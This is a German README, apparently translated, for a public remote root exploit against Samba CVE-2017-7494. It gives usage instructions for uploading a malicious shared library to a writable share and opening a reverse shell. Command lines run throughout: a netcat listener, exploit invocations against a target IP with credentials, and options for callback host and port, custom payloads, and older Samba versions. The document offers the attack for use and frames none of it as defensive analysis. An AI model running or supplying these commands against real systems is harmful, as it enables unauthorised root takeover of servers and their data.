
Remote Root-Exploit für SAMBA CVE-2017-7494, der eine Shared Library als Payload kompiliert, diese auf eine beschreibbare Freigabe hochlädt und das Laden auslöst, um eine Reverse Shell als Root zu starten.
Remote Root-Exploit für die SAMBA CVE-2017-7494 Schwachstelle.
Dieser Exploit ist in 2 Teile unterteilt:
Solange das Ziel angreifbar ist und der Payload für das Betriebssystem und die Architektur des Ziels korrekt ist, ist der Exploit zu 100% zuverlässig.
Führen Sie auf Ihrem Rechner den folgenden Befehl aus:
$ nc -p 31337 -l
Führen Sie dann den Exploit gegen Ihr Ziel aus und warten Sie, bis er sich mit Ihrem Netcat verbindet:
$ python cve_2017_7494.py -t target_ip
Wenn Sie die Reverse Shell zu schnell schließen, können Sie anstatt den Exploit erneut auszuführen und das Modul hochzuladen, einfach den Pfad zum bereits hochgeladenen Modul angeben. Angenommen, es wurde als "module.so" in /shared/directory/ hochgeladen, würden Sie einen Befehl wie den folgenden ausführen:
$ python cve_2017_7494.py -t target_ip -m /shared/directory/module.so
Sie können den Exploit jetzt gegen Samba 3.5.0 und 3.6.0 ausführen, Sie müssen nur das Argument -o 1 hinzufügen.
python cve_2017_7494.py -t target_ip -u test -P 123456 --rhost shell_ip --rport shell_port -o 1
Sie können jetzt Ihre eigene benutzerdefinierte .so verwenden.
python cve_2017_7494.py -t target_ip -u test -P 123456 -o 1 --custom myso.so
Falls Sie dieses Skript von einer x86-Maschine ausführen müssen, erstellt das Kompilieren der Implant-Binaries zwei x86-Dateien. Mit dem Flag -n 1 können Sie die Kompilierung deaktivieren und die libimplantx64.so von einem anderen Rechner kopieren.
python cve_2017_7494.py -t target_ip -u test -P 123456 --rhost shell_ip --rport shell_port -n 1
Falls Samba nur auf Port 139 läuft. Sie können den Remote-Server-Port mit dem Argument -p festlegen.
python cve_2017_7494.py -t target_ip -p 139 -u test -P 123456 --rhost shell_ip --rport shell_port -n 1
Ich unterstütze es nicht mehr.
-- Joxean Koret